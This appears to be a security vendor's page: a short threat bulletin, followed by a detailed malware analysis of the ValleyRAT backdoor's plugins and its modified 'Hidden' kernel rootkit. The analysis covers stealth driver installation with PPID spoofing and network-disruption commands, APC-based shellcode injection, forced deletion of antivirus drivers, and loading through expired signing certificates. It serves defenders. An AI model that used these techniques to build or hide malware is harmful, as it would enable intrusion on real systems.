Taken together, Ink Dragon presents a threat model in which the boundary between “compromised host” and “command infrastructure” no longer exists. Each foothold becomes a node in a larger, operator-controlled network – a living mesh that grows stronger with every additional victim. Defenders must therefore view intrusions not only as local breaches but as potential links in an external, attacker-managed ecosystem, where shutting down a single node is insufficient unless the entire relay chain is identified and dismantled. Ink Dragon’s relay-centric architecture is among the more mature uses of ShadowPad observed to date. A blueprint for long-term, multi-organizational access built on the victims themselves.
For the latest discoveries in cyber research for the week of 15th December, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
The Indian government confirmed cyber incidents involving GPS spoofing at seven major airports, including Delhi, Mumbai, Kolkata, and Bengaluru. The attack affected aircrafts using GPS-based landing procedures. Despite signal disruption to navigation data, authorities stated no flights were cancelled or diverted, with contingency measures and Air Traffic Control safeguards preventing operational impact.
US-based healthcare technology provider, TriZetto Provider Solutions, has notified healthcare clients of a long-running unauthorized access to a customer web portal. With this access a threat actor accessed historical eligibility transaction reports containing protected health information (PHI). Exposed data includes patient and insured PII.
700Credit, a US-based credit check and identity verification provider, suffered a data breach affecting at least 5.6 million people. The incident exposed private information after an unidentified attacker accessed dealer-collected data between May and October 2025. The company is notifying impacted individuals and offering credit monitoring, while Michigan’s attorney general urged affected users to enable credit freezes or monitoring to mitigate fraud risk.
Pierce County Library System in Washington has disclosed a cyberattack impacting over 340,000 individuals after threat actors accessed its systems, forcing a full shutdown. The breach exposed user data and extensive employee PII. The attack was claimed by the INC ransomware gang, which has targeted multiple US government entities in 2025.
Check Point Threat Emulation provides protection against this threat (Ransomware.Wins.INC)
The French Interior Ministry confirmed a cyberattack targeting its email servers, allowing an attacker to access a number of internal files. Authorities stated there is no evidence of serious data compromise at this stage. An investigation is ongoing, with no attribution yet identified.
Russian Government IT contractor Mikord was reportedly breached by an anonymous hacker group. The group claims to have maintained access for months, exfiltrated source code, internal communications, financial and technical records, and damaged infrastructure tied to a firm allegedly involved in Russia’s unified military draft database. While Mikord’s director confirmed a hack, Russia’s Ministry of Defense denied any breach or data leak.
An employee of Home Depot, the US home improvement retailer, had mistakenly exposed a private GitHub token, granting access to internal systems for nearly a year. The token enabled entry to hundreds of private code repositories and key cloud systems and was revoked upon discovery.
VULNERABILITIES AND PATCHES
Google released an urgent Chrome update on to address a high severity flaw (CVE-2025-14174) actively exploited in the wild and linked to the ANGLE graphics library used for WebGL. The bug likely enables memory corruption that could allow remote code execution.
Apple released emergency security updates to patch two actively exploited zero-day vulnerabilities, CVE-2025-43529 and CVE-2025-14174. The vulnerabilities were exploited in sophisticated targeted attacks against specific individuals. Both flaws affect WebKit and enable remote code execution or memory corruption via malicious web content, impacting iPhones, iPads, Macs, and other Apple platforms.
SAP released details and patches for three vulnerabilities, including CVE-2025-42880 (code injection in Solution Manager, CVSS 9.9), CVE-2025-55754 (Commerce Cloud Tomcat flaws, CVSS 9.6), and CVE-2025-42928 (jConnect deserialization, CVSS 9.1), alongside several high severity issues.
THREAT INTELLIGENCE REPORTS
Check Point Research reports a global rise in cyber attacks in November 2025, averaging 2,003 weekly attempts per organization, with education most targeted sector and rising exposure from generative AI. 727 ransomware incidents were recorded, a 22% increase YoY, with North America accounting for 55% of cases and industrial manufacturing being the top victim industry.
Check Point Research exposed ValleyRAT’s modular system, including a kernel-mode rootkit that can remain loadable on fully updated Windows 11 despite built-in protections. The research linked leaked builder artifacts to plugins and identified about 6,000 samples, with roughly 85 percent emerging in the last six months after the builder’s public release.
Check Point researchers revealed a phishing campaign where attackers impersonate file-sharing and e-signature services to deliver finance-themed lures that look like legitimate notifications. The attackers sent over 40,000 phishing emails targeting roughly 6,100 customers over the past two weeks, abusing Mimecast’s secure-link rewriting feature as a smokescreen to make their links appear safe and authenticated
Researchers have analyzed STAC6565 campaign, which with high confidence is associated with the GOLD BLADE threat group (aka RedCurl, RedWolf, and Earth Kapre). The campaign is mostly targeting Canadian organizations, blending data theft with selective QWCrypt ransomware. The threat actor uses multi-stage infection chains that include payloads downloaded via WebDAV, DLL side-loading using legitimate Adobe components, and BYOVD abuse to evade detection.
Researchers uncovered a new phishing technique called ConsentFix that tricks people into giving attackers access to their Microsoft accounts. The method uses a browser-native prompt that persuades victims to copy and paste a link. Once the link is submitted, attackers can get access without needing a password or multi-factor authentication.
Check Point Research (CPR) presents a full dissection of the widely used ValleyRAT backdoor, also known as Winos/Winos4.0, covering its modular architecture and plugin system.
By analyzing the publicly leaked builder and development structure (Visual Studio solutions and project files, without source code), we were able to accurately correlate artifacts and reverse engineer the functionality of all “main” plugins. The analysis reveals the advanced skills of the developers behind ValleyRAT, demonstrating deep knowledge of Windows kernel and user-mode internals, and consistent coding patterns suggesting a small, specialized team.
The “Driver Plugin” contains an embedded kernel-mode rootkit that, in some cases, retains valid signatures and remains loadable on fully updated Windows 11 systems, bypassing built-in protection features. Through detailed reverse engineering, previously unknown capabilities were uncovered, including stealthy driver installation, user-mode shellcode injection via APCs, and forceful deletion of AV/EDR drivers.
The detection statistics for ValleyRAT plugins in the wild (ITW), derived from carefully crafted detection rules and verified using both internal telemetry and public services, highlight the recent surge in ValleyRAT usage, with approximately 85% of detected samples appearing in the last six months, coinciding with the public release of the builder.
The research underscores the growing accessibility of the ValleyRAT builder and development artifacts, emphasizing that future usage cannot be easily attributed to specific Chinese-speaking threat actors, such as Silver Fox.
Introduction
Throughout 2025, we conducted and published several reports related to our research on the Silver Fox APT. In some of them (for example, here), the threat actor delivered the well-known ValleyRAT backdoor, also referred to as Winos or Winos4.0, as the final stage. Since this malware family is widely used, modular, and often associated with Chinese threat actors such as Silver Fox, we decided to take a deeper look at its development, plugin system, and the capabilities exposed through individual components.
At first, we focused on collecting as much information as possible from publicly available sources. However, after the initial survey, we realized that despite the first report related to ValleyRAT being dated to early 2023, the existing material is quite limited. Most publications discuss only the specific plugins that happened to be deployed to victims or malware labs during analysis, which in many cases means only one or two plugins.
When a potential victim, including a malware lab, is infected with the ValleyRAT backdoor, the initial modules deployed are usually first-stage plugins such as the “Online Module” or “Login Module”. These act as initial beacons and are responsible for retrieving and loading additional plugins from the ValleyRAT C2 server. It is entirely up to the attacker to decide whether a victim appears interesting enough to receive further components and expose more of the backdoor’s capabilities. Many victims, especially malware labs, do not meet this threshold, meaning analysts only get to see the plugins that operators intentionally delivered.
Because of this limitation, we shifted our attention to searching for leaked ValleyRAT builders and source code. Normally, materials like these circulate on the dark web within small, restricted communities. Fortunately, in today’s “share whatever, wherever” environment, we were able to obtain them from several publicly available GitHub repositories.
ValleyRAT is strongly associated with Chinese-speaking threat actors, so we expanded our search with Chinese keywords and phrases that seemed relevant to the malware. This approach was successful: we found not only the ValleyRAT builder but also its development structure, including Visual Studio solutions and project files. Although the actual source code was missing, we were still able to link individual Visual Studio projects to plugin binaries extracted from the builder.
It is worth mentioning that we achieved these results only after going through many trojanized repositories, including ValleyRAT builders infected with other backdoors. Hackers hacking hackers. Eventually, we located repositories that contained exactly the information we were looking for.
In this publication, we focus on a full dissection of the ValleyRAT modular system. We describe the builder, outline our extraction and analysis methodology, and provide detailed explanations for every plugin used by the malware. We also include an in-depth analysis of one of the most interesting components, the “Driver Plugin”, which embeds a kernel-mode rootkit. Special attention is given to the rootkit and its user-mode client, along with the techniques they implement. Finally, with carefully crafted detection rules for all plugins, we present their in-the-wild detection statistics based on both our internal telemetry and public services.
Background & Key Findings
The first interesting repository we identified is related to the ValleyRAT builder, which also functions as a C2 panel and has been publicly available since March 2025. Below is a comparison between the original Chinese repository and its translated version.
The claim about the “Effective date: March 25, 2025” mentioned in the repository structure (with the builder archive itself uploaded on March 26, 2025) correlates with the PE compilation timestamp of the builder: Wednesday, 26.03.2025 04:10:15 UTC. This suggests that it is likely one of the latest versions of the ValleyRAT builder.
The second repository, which is slightly older (June 2024), contains development artifacts related to the ValleyRAT plugin system, including Visual Studio solutions and project structures (without source code). A translated version of this repository can be seen below.
Figure 2: ValleyRAT development structure – GitHub repository.
The fact that the development structure (without source code) has been publicly available for a while suggests that the leaked ValleyRAT source code itself has probably been circulating in the wild as well.
Both repositories are in Chinese, and as an initial step, we focused on the one containing the Visual Studio structure. We then attempted to locate matching artifacts inside the compiled builder package from the first repository.
While the development structure referenced both “main” and “auxiliary” plugins, only the compiled “main” plugins were present inside the builder’s PE resources.
Figure 3: ValleyRAT builder – plugin system in PE resources.
During the analysis of the development structure, one component immediately stood out: a plugin named “Driver Plugin”, which appears to include a kernel‑mode driver component.
Figure 4: ValleyRAT development structure – “Driver Plugin”.
We were later able to locate this compiled plugin inside the builder’s resources.
Figure 5: ValleyRAT builder – locating the “Driver Plugin” in the compiled PE resources.
The “Driver Plugin” is a DLL that acts as a user‑mode client for an embedded rootkit driver. Its original filename can be recovered from the Export Directory.
Figure 6: Original filename of the “Driver Plugin” DLL.
The rootkit driver is stored within the .data section of the Driver Plugin.dll. After careful extraction that preserved its original WIN_CERTIFICATE structure, we identified the exact sample on VirusTotal. The driver retains the original PDB path that closely matches the Visual Studio project path from the development structure.
Figure 7: Original PDB path of the ValleyRAT rootkit driver.
The driver’s compilation timestamp appears intact: Sunday, 23.04.2023 08:10:50 UTC. However, despite being compiled in 2023, it is signed using an expired certificate valid only between 2013–2014. We believe this certificate was stolen and used to sign the driver.
Even though the certificate had expired, the signature still fell under the Windows Driver Signing Policy – Exceptions (the legacy driver category). For this reason, the rootkit driver could be loaded even on the latest Windows 11 systems. During our initial investigation, the certificate had not yet been revoked, allowing the driver to load successfully; later revocation prevented this.
Using carefully crafted internal detection rules covering the entire ValleyRAT modular system (all “main” plugins and the rootkit driver), we identified approximately 6,000 ValleyRAT‑related samples in the wild between November 2024 and November 2025. Notably, around 85% of these detections occurred within the last six months of that period, which correlates with the time the ValleyRAT builder first appeared publicly. This clearly reflects the growing adoption of this modular backdoor.
Another notable observation is that among the detected samples, we found 30 distinct variants of the ValleyRAT builder and 12 variants of the rootkit driver. The majority of the detected rootkits were compiled in 2025, based on PE compilation timestamps that appeared intact. Seven of the drivers were still signed with valid (non‑revoked) certificates. Despite all certificates being expired long ago (validity periods ending before 2015), they fall under the driver signing policy exceptions for end‑entity certificates issued before July 29th 2015 that chain to a supported cross‑signed CA. We confirmed that several of these drivers were not properly detected by Microsoft Defender Antivirus, were absent from the latest version of the Microsoft Vulnerable Driver Blocklist, and could still be loaded on fully updated Windows 11 systems with all protection features enabled (including HVCI and Secure Boot). We responsibly disclosed these findings to the Microsoft Security Intelligence team.
As expected, an APT‑level threat actor deployed this capability for a reason. ValleyRAT includes a kernel‑mode module that functions as a rootkit and remains loadable even on the latest Windows versions with modern security mitigations in place.
We also discovered an interesting connection between the Chinese Sun‑RAT “company” website (https://www.sun-rat.com/), which advertised a commercial remote‑administration tool, and the ValleyRAT builder. While the main page of the website was accessible during our initial investigation, it has since disappeared, though some subpages (such as the contact and login sections) remain online. By obtaining the Sun‑RAT demo product, we were able to compare it with the ValleyRAT builder.
Sun-RAT software:
Figure 10: UI view of the Sun-RAT software.
ValleyRAT builder:
Figure 11: UI view of the ValleyRAT builder.
The similarities strongly suggest one of two possibilities:
The ValleyRAT developers stole the source code of Sun‑RAT and built their backdoor on top of it, or
The leaked ValleyRAT source code was repurposed to create a commercial product marketed as a legitimate Chinese tool.
We believe the second scenario is more likely.
In the next section, we dive into the ValleyRAT builder internals, the plugin extraction process, and the functionality of each component in the modular system.
Technical Analysis: ValleyRAT Builder
The obtained ValleyRAT builder is a 32-bit PE file, compiled on Wednesday, 26.03.2025 04:10:15 UTC, containing the plugins inside its resources. As previously mentioned, the builder includes only the “main” plugins and not the “auxiliary” ones.
Figure 12: ValleyRAT builder – 32-bit PE – resources.
To analyze all compiled plugins and any additional utilities embedded elsewhere in the builder (some were found in the .data section) or even within the plugins themselves, we needed a reliable extraction strategy. To increase confidence in the correctness of the extraction, we adopted a dual-tool methodology: DIE – Extractor (operating as a smart carver capable of pulling PE32/PE64 files even when nested inside another PE) and Resource Hacker. To validate the extraction results across DIE + Resource Hacker, we compared authentihashes and output sizes of the extracted PE files against expected PE sizes. Below is an example script demonstrating authentihash computation using LIEF:
#!/usr/bin/env python3
"""
Compute Authenticode authentihash for all PE files in a directory using LIEF.
Usage:
python authentihash_lief.py /path/to/dir [--algo sha256] [--recurse]
Example:
python authentihash_lief.py C:\Windows\System32 --algo sha256
"""
import os
import sys
import argparse
import lief
# Map user-friendly names to LIEF enum values
ALGO_MAP = {
"sha1": lief.PE.ALGORITHMS.SHA_1,
"sha256": lief.PE.ALGORITHMS.SHA_256,
"sha384": lief.PE.ALGORITHMS.SHA_384,
"sha512": lief.PE.ALGORITHMS.SHA_512,
}
def compute_authentihash(path, algo_enum):
"""Return the authentihash (bytes) computed by LIEF for the given PE file."""
pe = lief.parse(path)
if pe is None:
raise RuntimeError("Failed to parse PE file")
digest = pe.authentihash(algo_enum)
return digest.hex()
def scan_dir(directory, algo_enum, recurse=False):
"""Iterate through directory and print <file>\t<authentihash>."""
for root, dirs, files in os.walk(directory):
for fn in files:
full = os.path.join(root, fn)
try:
with open(full, "rb") as f:
if f.read(2) != b"MZ":
continue
digest = compute_authentihash(full, algo_enum)
print(f"{full}\t{digest}")
except Exception as e:
print(f"[!] {full}\tERROR: {e}", file=sys.stderr)
if not recurse:
break
def main():
parser = argparse.ArgumentParser(description="Compute Authenticode authentihash for PE files using LIEF")
parser.add_argument("directory", help="Directory to scan")
parser.add_argument("--algo", default="sha256",
choices=["sha1", "sha256", "sha384", "sha512"],
help="Hash algorithm (default: sha256)")
parser.add_argument("--recurse", action="store_true", help="Recursively scan subdirectories")
args = parser.parse_args()
algo_enum = ALGO_MAP[args.algo.lower()]
scan_dir(args.directory, algo_enum, recurse=args.recurse)
if __name__ == "__main__":
main()
Using this approach, we successfully extracted all plugins, helper tools, and—most importantly—the rootkit driver, which we analyze in depth later. Among the extracted helper utilities were known third-party tools such as UPX, BoxedApp SDK, and an extended logging library.
The core focus, however, is on the extracted “main” plugins present in both 32-bit and 64-bit variants. In total, we obtained 19 distinct main plugins, and their counts and names (based on VS project structure and compiled PE metadata) match the layout of the original development environment.
ValleyRAT Builder: Main Plugins
To verify the functionality of all 38 plugins (19×32-bit + 19×64-bit) along with the ValleyRAT rootkit driver, we automated the reverse-engineering workflow using two AI-assisted approaches: a live IDA MCP server and an offline IDA export pipeline, similar to the process described in our publication Generative AI as a Force Multiplier for Reverse Engineering. All automatically generated results were manually validated, with several plugins fully reverse engineered to investigate artifacts and noteworthy code paths highlighted by the AI methods.
All plugins are capable of establishing TCP or UDP connections to a specified C2 host and exchanging plugin-specific serialized data, typically encrypted using custom XOR-based schemes. The received data generally correspond to commands that trigger specific plugin functionality. The table below summarizes all available “main” plugins and their primary capabilities.
CN Name
EN Translation
Main Functionality
上线模块
Online Module
Initial-stage module with embedded C2 configuration + remote shellcode execution (in-process by default; optional tracerpt.exe injection)
Advanced hidden RDP-like remote desktop module with web-browser automation
娱乐屏幕
Entertainment Screen
Remote screen-capture video streaming (using libx264)
压力测试
Stress Test
Feature-rich remote DDoS module (supports multiple modes of TCP/UDP/HTTP/ICMP/RawIP floods)
shellcode
shellcode
Identical to the “Online Module”, compiled as PE .exe
驱动插件
Driver Plugin
Advanced driver-related module (rootkit loader and user-mode client)
ValleyRAT Builder: Auxiliary Plugins
The “auxiliary” plugins are not included in the compiled ValleyRAT builder, meaning their functionality could not be verified through reverse engineering of actual binaries. Instead, their expected behavior can only be inferred by analyzing the logical structure of the leaked Visual Studio solutions and the functionality implied by the associated project files. Because neither source code nor compiled versions were available, the listed capabilities remain educated assumptions based on naming conventions and references within the VS project structure.
With a clearer view of ValleyRAT’s modular design, it is apparent that most plugins implement common backdoor functionality. From a research perspective, the most interesting components are those capable of providing rare or high-impact capabilities. For that reason, the next section focuses on the ValleyRAT “Driver Plugin”, particularly its embedded kernel-mode rootkit.
Technical Analysis: ValleyRAT Rootkit Plugin
The ValleyRAT rootkit module is embedded inside one of the “main” plugins, originally named 驱动插件 (EN: Driver Plugin.dll). This plugin is compiled in both 32-bit and 64-bit variants and acts as the user-mode client and installer for the rootkit. The embedded driver itself, however, is always a 64-bit kernel-mode binary. It functions as a Windows kernel device, a file system minifilter, a registry filter, and a process/thread monitoring driver.
ValleyRAT Rootkit Plugin: User-Mode Client
The user-mode client (Driver Plugin.dll) serves as the controller for the kernel rootkit. It maintains an active TCP/UDP connection to the C2 server and processes inbound commands. Each command is translated into an appropriate IOCTL request, which is then sent to the driver to control its runtime behavior. Supported operations include:
Driver installation (Normal or Stealth mode)
Enable or disable the driver
Query driver state
Add or remove hidden objects (files, directories, registry keys, and registry values)
Add or remove protected processes
Enumerate protected objects
Force-delete arbitrary files
Trigger user-mode shellcode injection via the rootkit driver
Update driver configuration values
Driver Installation and Initial Configuration:
When executing the driver installation command in Normal Mode (calling DropAndInstallRootkit() directly), the client drops the embedded driver to disk and installs it as a kernel service named kernelquick, creating the corresponding key: HKLM\SYSTEM\CurrentControlSet\Services\kernelquick\. The service is registered as a SERVICE_KERNEL_DRIVER with demand start.
All these configuration values define the hiding rules, protection lists, and ignore lists the driver uses. Any of them can be updated later through the corresponding IOCTL operations issued by the client (triggered by a command from the C2 server).
In addition to the “Normal Mode” of the driver installation described above, the client can also trigger “Stealth Mode”. In that case, the DropAndInstallRootkit() function is supplemented by additional routines: GetProcID_dwm(), CreateProcessMalseclogon().
Figure 14: User-mode client – driver installation (Normal vs. Stealth).
This mode primarily aims to disrupt network connectivity during installation and use MalSeclogon-basedimpersonation to reduce detection likelihood. To disrupt network connectivity, the client launches commands such as cmd /c start /min ipconfig /release and cmd /c start /min ipconfig /renew. The MalSeclogon technique is then used to execute these commands under an impersonated context with PPID spoofing:
GetProcID_dwm() locates the PID of dwm.exe (Desktop Window Manager) using the FILE_INFORMATION_CLASS::FileProcessIdsUsingFileInformation. This approach reliably returns the correct PID without causing false positives.
After the commands are executed, the client restores the original UniqueProcess value.
Driver installation via DropAndInstallRootkit() occurs during the network disruption window.
The result is a stealthy installation sequence executed under a trusted Windows process, significantly reducing behavioral detection signals. The following process tree shows how this activity appears when Stealth Mode is used:
The embedded 64-bit driver is based on the publicly available open-source project Hidden. The ValleyRAT authors significantly modified the original codebase, introducing refactoring changes, compatibility improvements for recent Windows versions, and entirely new functionality not present in the original project. Like the original Hidden rootkit, the ValleyRAT driver acts as a kernel device, file system minifilter, registry filter, and process/thread monitoring driver.
During initialization, it creates a device named HiddenGate and assigns IrpDeviceControlHandler() as its device-control dispatcher for IOCTL communication with the user-mode client.
Figure 19: ValleyRAT rootkit – device creation.
Differential Analysis Methodology:
Because the ValleyRAT driver is derived from a publicly accessible codebase, we focused our reverse-engineering efforts on only the modified functionality to maximize efficiency.
To accomplish this, we:
Rebuilt the original Hidden rootkit using the configuration extracted from the leaked ValleyRAT Visual Studio project.
Loaded the rebuilt driver into IDA, applied the PDB symbols, and created strict FLIRT signatures.
Generated a Diaphora database for structural diffing.
Loaded the ValleyRAT driver, applied the FLIRT signatures, and created its own Diaphora database.
Performed a differential analysis between the two drivers.
This approach allowed us to:
Automatically match preserved functions
Ignore superficial edits
Highlight substantial refactoring
Isolate genuinely new ValleyRAT functionality
Out of roughly 200 functions, only ~25 remained unmatched, representing the newly introduced ValleyRAT features. From this point on, we could concentrate exclusively on analyzing these new additions. A simplified overview of the modifications between the ValleyRAT rootkit and the original Hidden rootkit is shown below.
Figure 20: ValleyRAT rootkit vs. Original “Hidden” rootkit – XREF Tree.
Summary of Changes (ValleyRAT vs. Hidden rootkit)
Preserved functionality (from the original Hidden rootkit):
Registry hiding (keys and values)
File and directory hiding
Process protection (setting limited access to processes)
Process exclusion lists (exclude specific processes from protection features)
Removed functionality:
Process hiding (unlinking from active process lists) – Removed entirely due to BSOD risk triggered by modern Windows mitigations such as PageGuard.
Configuration changes:
Registry keys used for initialization were renamed or reorganized. These values are remotely configurable via Driver Plugin.dll.
Figure 21: ValleyRAT rootkit vs. Original “Hidden” rootkit – configuration changes.
ForceDeleteFile() – kernel-level forced deletion of arbitrary files
SetDriverStartType_SystemStart() – elevated persistence by switching service start type
Added functionality: UMInjection()
UMInjection() introduces kernel-mode to user-mode APC-based shellcode injection. It is invoked during driver initialization, creating a system thread that executes UMInjectionRoutine().
UMInjectionRoutine():
Retrieves stored shellcode from HKLM\SOFTWARE\IpDates
UMInject() can also be triggered directly via IOCTL 0x222144 to target any process. It locates a suitable thread, queues a kernel-mode APC, and triggers UMInjectExecShellcode(), which allocates user-mode memory, writes the shellcode, and queues a user-mode APC to execute it.
In summary, the comparison between the original Hidden rootkit and the ValleyRAT-adapted variant shows that the authors did not rewrite the rootkit from scratch. Instead, they selectively refactored and modernized the existing codebase to ensure its continued viability on current Windows versions. Most changes revolve around structural refactoring, updated APIs, and compatibility adjustments that allow the rootkit to function reliably on Windows 10 and Windows 11 systems.
The newly introduced components—roughly 25 functions out of an otherwise large and legacy-heavy codebase—represent targeted functionality upgrades rather than a major redesign. These additions primarily reinforce the rootkit’s integration with the wider ValleyRAT ecosystem, improve persistence and communication paths, and address stability issues caused by OS-level changes over the past decade.
Overall, the modifications reflect a pragmatic development approach: preserve the core functionality of a proven rootkit, update the parts that would break on modern systems, and extend the code just enough to support ValleyRAT’s operational requirements. This strategy gives the actor a working kernel-mode stealth component while avoiding the engineering cost and detection risk associated with designing a new rootkit from scratch.
Conclusion
In this publication, we fully dissected the ValleyRAT modular system and mapped out every major component of its architecture. We analyzed all available plugins, documented their capabilities, and provided a comprehensive view of how they operate as part of a larger, well-structured backdoor ecosystem. By sharing these findings, we aim to strengthen the collective understanding of this widespread and actively abused malware family and contribute to better defensive measures across the security community.
Throughout the analysis, one theme remains consistent: the developers behind ValleyRAT possess a deep understanding of internal Windows mechanisms. Many plugins implement functionality that requires reversing complex kernel‑mode and user‑mode structures, undocumented behavior, and sensitive system interactions. The overall design shows a level of consistency across different modules that strongly suggests a small, tightly coordinated development team rather than a loosely assembled collection of contributors.
A significant part of our research focuses on the ValleyRAT kernel‑mode rootkit driver. We reverse engineered the modified variant used by ValleyRAT and compared it against the original Hidden rootkit. Despite relying on an older codebase, the actor successfully adapted it for modern Windows platforms through refactoring and compatibility updates. More concerning is the fact that we observed several in‑the‑wild samples signed with technically valid certificates, allowing the driver to load even on fully updated Windows 11 systems with all protections enabled. This highlights a real-world security gap and demonstrates the ongoing operational capability of the threat actor’s tooling.
The broader threat landscape reflects similar trends. More than 85% of all ValleyRAT samples we observed appeared within the last six months, closely correlating with the period shortly after the builder was leaked. With the full build chain now publicly available, continued growth in ValleyRAT activity is not only expected but likely inevitable, especially as more actors experiment with the leaked tooling.
Finally, the public availability of both the builder and the source code complicates attribution. While ValleyRAT has historically been linked to Chinese-affiliated threat activity, including groups like Silver Fox, the current situation makes such attribution unreliable. Anyone can now compile, modify, and deploy ValleyRAT independently, blurring previous indicators and making traditional attribution approaches far less meaningful.
ValleyRAT has effectively transitioned from a previously actor-linked threat to an openly available malware framework with an active and accelerating presence in the wild. Our goal with this research is to provide defenders with the technical depth needed to understand, detect, and counter this evolving threat.
Protections
Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, filetypes, and operating systems and protect against the attacks and threats described in this report.
Login
